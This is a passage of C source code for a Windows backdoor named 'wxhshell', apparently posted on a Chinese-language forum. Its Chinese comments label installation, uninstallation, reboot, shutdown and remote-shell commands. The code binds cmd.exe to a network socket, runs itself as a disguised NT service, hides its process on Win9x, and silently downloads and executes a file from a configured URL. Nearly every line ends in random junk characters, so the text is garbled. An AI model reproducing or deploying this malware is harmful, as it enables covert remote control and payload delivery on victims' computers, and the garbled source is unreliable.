  >R.~'A/$F  
  // 帮助 d{DlW |_  
  case '?': { ~lQ]PKJ"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \7W {/v4^  
    break; Z73 ysn}  
  } hWuq  
  // 安装 t XfB.[U  
  case 'i': { UIzk-.<  
    if(Install()) 7rsrC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qB"y'UW8  
    else (A"oMnjWd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Z9I')  
    break; N[=nh)m7b  
    } )v'3pTs2  
  // 卸载 [_b10Z'{  
  case 'r': { =(v/pLLK?  
    if(Uninstall()) VRMlr.T +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@ W~  
    else $YL} rM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <sd Qvlx$-  
    break; a#KxjVM  
    } ?p\'S w:  
  // 显示 wxhshell 所在路径 C%G-Ye|@  
  case 'p': { {jr>Z"/q  
    char svExeFile[MAX_PATH]; 7!Fu.Ps >  
    strcpy(svExeFile,"\n\r"); 69rVW~Z  
      strcat(svExeFile,ExeFile); c-`&e-~XKL  
        send(wsh,svExeFile,strlen(svExeFile),0); RkC?(p  
    break; {T.$xiR  
    } %lEPFp  
  // 重启 ]}C#"Xt  
  case 'b': { <w08p*?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c a$D|3  
    if(Boot(REBOOT)) Jg: Uv6eN+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e@@kTny(  
    else { G=\rlH]N  
    closesocket(wsh); `5h$@  
    ExitThread(0); 0]NjsOU =  
    } +X.iJ$)  
    break; 5wr0+Xo  
    } i Ri1E;  
  // 关机 R],,-  
  case 'd': { MI<hShc\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zni8 im,_j  
    if(Boot(SHUTDOWN)) + ^4"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *}3~8fu{  
    else { ^Fy) oWS  
    closesocket(wsh); Hk$|.TjzI  
    ExitThread(0); P0UMMn\-#  
    } k|a{ |2p  
    break; l{Xsh;%=  
    } -O. MfI+  
  // 获取shell hg=\L5R  
  case 's': { Y`\zLX"_m  
    CmdShell(wsh); J:p nmZ`X  
    closesocket(wsh); vk.Y2 :  
    ExitThread(0); B.|2w  
    break; ^#XxqVdPk  
  } mn4j#-  
  // 退出 <S TwylL  
  case 'x': { nM\W a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'j>^L  
    CloseIt(wsh); 5+giT5K*h  
    break; vg *+>lbA  
    } 9JP{F  
  // 离开 !=I:Uc-Y  
  case 'q': { SO8Ej)m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Zna }h{  
    closesocket(wsh); G74<sD  
    WSACleanup(); O:pQf/Xn  
    exit(1); A~O 'l&KB  
    break; bbS'ZkB\  
        } G }TT-  
  } wf<uG|90  
  } 6'|J ;  
X[grV e  
  // 提示信息 l AE$HP'o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Zi\L>PHO  
} sRt|G  
  } tE<L4;t  
d<fS52~l  
  return; ZVgR7+`]#  
} 1b* dC;<  
cidS/OH  
// shell模块句柄 &Lk@Xq1  
int CmdShell(SOCKET sock) L.ndLd  
{ >p2v"XX  
STARTUPINFO si; UyTq(7uo  
ZeroMemory(&si,sizeof(si)); f"My;K$l;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E:'TZ4Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nQbF~   
PROCESS_INFORMATION ProcessInfo; A Ws y9  
char cmdline[]="cmd"; ElLDSo@WvR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M+4>l\   
  return 0; 30cZz  
} 4&]Sb}  
6%?bl{pNn  
// 自身启动模式 l-4+{6lz  
int StartFromService(void) 0$Rl78>(  
{ 2 u:w  
typedef struct BSU%.tmI  
{ 0*G =~:  
  DWORD ExitStatus; H?A&P4nZ  
  DWORD PebBaseAddress; c%,@O&o  
  DWORD AffinityMask; Xo^P=uf%  
  DWORD BasePriority; =M39I&N  
  ULONG UniqueProcessId; I2"F2(>8K  
  ULONG InheritedFromUniqueProcessId; ?5@!r>i=<  
}   PROCESS_BASIC_INFORMATION; 9C9>V]  
Ne>yFl"u  
PROCNTQSIP NtQueryInformationProcess; 3 ,;;C(  
XL SYE   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qI (<5Wxl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n~`1KC4  
jFAnhbbCE  
  HANDLE             hProcess; ?VUW.-  
  PROCESS_BASIC_INFORMATION pbi; ;J<K/YdI  
@q8h'@sX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bp"@vlv  
  if(NULL == hInst ) return 0; i b$2qy  
&USKudXmb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y'n+,g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Js{X33^Ju  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N`o[iHUj \  
G!Gbg3:4e5  
  if (!NtQueryInformationProcess) return 0; /4K ^-  
!mX-g]4E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {k:W?`  
  if(!hProcess) return 0; m[l[yUw#  
W#^W1j>_G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,e]|[,r#5  
J9buf}C[  
  CloseHandle(hProcess); uB&um*DP  
Tw`n3y?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e$ pXnMx7  
if(hProcess==NULL) return 0; ]!% p21e  
YC,)t71l{  
HMODULE hMod; s1"dd7&g'  
char procName[255]; }wY6^JF  
unsigned long cbNeeded; ?7?hDw_Nk  
>v\t> [9t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uu5L9.i9  
Jw -?7O  
  CloseHandle(hProcess); 9| ('*  
o'#ow(X  
if(strstr(procName,"services")) return 1; // 以服务启动 CN(}0/  
3Ql77?&k  
  return 0; // 注册表启动 108cf~2&  
} ]x12_+  
;&K +x@  
// 主模块 Y:;]qoF  
int StartWxhshell(LPSTR lpCmdLine) DERhmJ;>H  
{ o$4xinK  
  SOCKET wsl; 4nvi7  
BOOL val=TRUE; >^odV ;^  
  int port=0; Ja`xG{~Y7i  
  struct sockaddr_in door; *PSUB{i(  
"bhF`,V  
  if(wscfg.ws_autoins) Install(); ;kE|Vx  
TAE@KSPvo  
port=atoi(lpCmdLine); \7\7i-Vo  
agI"Kh]j?  
if(port<=0) port=wscfg.ws_port; v4$"{W;'  
Q)lN7oD  
  WSADATA data; s+omCr|H;A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ].(l^W  
*PF}L%K(?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   78u9> H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D~^P}_e.  
  door.sin_family = AF_INET; He1hgJ)N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O5v)}4  
  door.sin_port = htons(port); AP:(/@K|  
/ %9DO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B)v|A  
closesocket(wsl); Kn#CIFbBN  
return 1; ;"R1>tw3)  
} c04;2gR  
p)k5Uh"  
  if(listen(wsl,2) == INVALID_SOCKET) { 1 x'H #  
closesocket(wsl); 8mh@C6U  
return 1; q4xP<b^  
} nD5+&M0  
  Wxhshell(wsl); m|by^40A(  
  WSACleanup(); R5b!Ao  
ey/=\@[p  
return 0; 6o cTQ}=  
<0h,{28  
} j8cXv  
Z;"YUu[(  
// 以NT服务方式启动 +qiI;C_P\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H'_v  
{ 7.W$6U5  
DWORD   status = 0; UzKB"Q  
  DWORD   specificError = 0xfffffff; {yCE>F\  
:G8:b.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |!?lwBs4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $E@U-=m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \b6vu^;p  
  serviceStatus.dwWin32ExitCode     = 0; VLP'3 qX  
  serviceStatus.dwServiceSpecificExitCode = 0; <t"KNKI  
  serviceStatus.dwCheckPoint       = 0; V/@7XAt  
  serviceStatus.dwWaitHint       = 0; yBYZ?gc  
pl.x_E,HP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9cJ1J7y  
  if (hServiceStatusHandle==0) return; m2x=Qv][@c  
\jCN ]A<  
status = GetLastError(); b.#0{*/G  
  if (status!=NO_ERROR) }xb?C""q^q  
{ i%3q*:A]2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =#.qe=  
    serviceStatus.dwCheckPoint       = 0; &^hLFd7j/  
    serviceStatus.dwWaitHint       = 0; z0-[ RGg  
    serviceStatus.dwWin32ExitCode     = status; %c-T Gr,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6=3;(2u[C"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*~t2 :  
    return; G]k+0&X  
  } *!c&[- g  
9 .3?$(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hx$b Y  
  serviceStatus.dwCheckPoint       = 0; (p!w`MSv  
  serviceStatus.dwWaitHint       = 0; qo!6)Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =>Q$S  
} h}n?4B~Gi  
('oA{,#L  
// 处理NT服务事件,比如:启动、停止 r-'CB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qbq.r&F&  
{ + :;6kyM6X  
switch(fdwControl) N${Wh|__^l  
{ iu.$P-s  
case SERVICE_CONTROL_STOP: Rz:1(^oA  
  serviceStatus.dwWin32ExitCode = 0; XQI!G_\+C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WCL#3uYk"  
  serviceStatus.dwCheckPoint   = 0; 4sM9~zC5  
  serviceStatus.dwWaitHint     = 0; &j!q9F  
  { /`+ubFXc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]wHXrB8vx  
  } t+t D  
  return; \L:+k `  
case SERVICE_CONTROL_PAUSE: CSVL,(Uw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YGsg0I't  
  break; D&|HS!  
case SERVICE_CONTROL_CONTINUE: ,UATT]>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dwbt^{N ^  
  break; =`/GB T$  
case SERVICE_CONTROL_INTERROGATE: d8N4@3CkL  
  break; -40s  
}; `-yiVUp1:z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !JnxNIr&i|  
} `6FH@" |I  
N+CcWs!E  
// 标准应用程序主函数 /=gU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R&@NFin  
{ wCw_aXqq  
dCO7"/IHW  
// 获取操作系统版本 +BgUnu26  
OsIsNt=GetOsVer(); x#jJ 0T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @s8wYcW  
yo]8QO]97  
  // 从命令行安装 0RGqpJxk  
  if(strpbrk(lpCmdLine,"iI")) Install(); L',7@W  
5.U4P<qS  
  // 下载执行文件 `(&GLv[i^2  
if(wscfg.ws_downexe) { CJf4b:SY@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7i0;Ss*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4)].{Z4 q  
} oA`G\Xh_E  
.,&6 x.  
if(!OsIsNt) { h{.x:pPXy  
// 如果时win9x,隐藏进程并且设置为注册表启动 b.mWB`59  
HideProc(); G`R_kg9$  
StartWxhshell(lpCmdLine); 0ra+MQBg  
} CW'<Nh  
else Y8Z-m (OQ  
  if(StartFromService()) nna boD  
  // 以服务方式启动 4mwLlYZ  
  StartServiceCtrlDispatcher(DispatchTable); C sx EN4  
else `XK#sCC  
  // 普通方式启动 ;s!GpO7+  
  StartWxhshell(lpCmdLine); tr$d?  
f@H>by N  
return 0; U{ ZKxE  
}
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只看该作者 1 发表于: 2006-10-10
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